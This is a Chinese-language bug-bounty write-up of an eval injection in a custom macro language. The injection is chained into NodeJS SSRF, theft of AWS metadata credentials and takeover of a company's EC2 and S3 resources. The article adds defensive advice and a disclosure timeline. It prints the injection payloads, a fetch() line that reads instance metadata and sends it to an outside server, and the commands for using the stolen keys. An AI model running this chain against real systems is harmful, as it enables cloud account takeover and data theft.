利用NodeJS SSRF漏洞获取AWS完全控制权限
字数 1254 2025-08-27 12:33:23
NodeJS SSRF漏洞利用获取AWS完全控制权限技术分析
漏洞概述
本文详细分析了一个通过NodeJS SSRF(Server-Side Request Forgery)漏洞获取AWS完全控制权限的案例。攻击者利用自定义宏语言Banan++中的eval注入漏洞,结合服务器端NodeJS环境,成功获取了AWS元数据中的临时凭证,进而控制了目标公司的AWS资源(20个S3存储桶和80个EC2实例)。
漏洞发现过程
1. 目标分析
目标公司(代号ArticMonkey)使用自定义宏语言Banan++开发Web应用,其中包含一个JavaScript版本(banan++.js):
- 压缩后2.1M,美化后2.5M
- 56441行代码,2546981个字符
- 包含约135个函数
2. 关键漏洞函数
发现危险函数Union(),存在eval注入风险:
helper.prototype.Union = function() {
for (var _len22 = arguments.length, args = Array(_len22), _key22 = 0; _key22 < _len22; _key22++)
args[_key22] = arguments[_key22];
var value = args.shift(),
symbol = args.shift(),
results = args.filter(function(arg) {
try {
return eval(value + symbol + arg)
} catch (e) {
return !1
}
});
return !!results.length
}
3. 漏洞验证
通过本地测试确认注入点:
Union('alert()//', '2', '3');
Union('1', '2;alert();', '3');
Union('1', '2', '3;alert()');
漏洞利用过程
1. 寻找注入点
发现POST请求中的operation参数可注入Banan++代码:
POST /REDACTED HTTP/1.1
Host: api.REDACTED.com
Content-Type: application/json; charset=UTF-8
{"operation": "(Year(CurrentDate()) > 2017)"}
2. 注入测试
确认注入限制:
- 无法直接注入JavaScript代码
- 可以注入Banan++函数
- 响应作为true/false标志
成功注入Union函数:
{"operation": "Union('a';'b';'c')"}
3. 服务器端代码执行
发现目标使用NodeJS服务器端,使用fetch API进行SSRF攻击:
fetch('https://poc.myserver.com')
4. AWS元数据获取
利用SSRF访问AWS元数据接口:
fetch("http://169.254.169.254/latest/meta-data/").then(res=>res.text()).then((r)=>fetch("https://poc.myserver.com/?r="+r));
获取关键IAM凭证:
http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE>
返回结果包含:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2018-09-06T19:24:38Z"
}
5. AWS凭证利用
设置环境变量使用获取的临时凭证:
export AWS_ACCESS_KEY_ID=AKIAI44...
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI...
export AWS_SESSION_TOKEN=AQoDYXdzEJr...
验证身份:
aws sts get-caller-identity
漏洞影响
成功获取了目标公司AWS环境的完全控制权限:
- 控制了80个EC2实例
- 访问了20个S3存储桶
- 可获取客户敏感数据、静态文件和服务器日志/备份
防御措施
1. 代码层面
- 避免使用
eval()等危险函数 - 对用户输入进行严格过滤和验证
- 使用参数化查询或安全模板引擎
2. AWS安全配置
- 限制元数据服务的访问权限
- 使用IMDSv2(需要令牌)
- 为EC2实例配置最小权限原则
- 定期轮换凭证
3. 网络层面
- 实施网络访问控制
- 监控异常请求模式
- 禁用不必要的实例元数据访问
时间线
- 06/09/2018 12:00 - 开始漏洞挖掘
- 07/09/2018 00:30 - 提交漏洞报告
- 07/09/2018 19:30 - 漏洞修复并发放奖金
技术要点总结
- eval注入:危险函数的不当使用导致代码执行
- SSRF利用:通过服务器端请求伪造访问内部服务
- AWS元数据:169.254.169.254提供实例关键信息
- 临时凭证:IAM角色临时凭证的获取与利用
- 环境变量:正确设置AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN
学习收获
- ReactJS和fetch API的实际应用
- AWS元数据服务的安全风险
- 从漏洞发现到完整利用的全过程
- 官方文档的重要性
- 渗透测试中的持续尝试和问题解决能力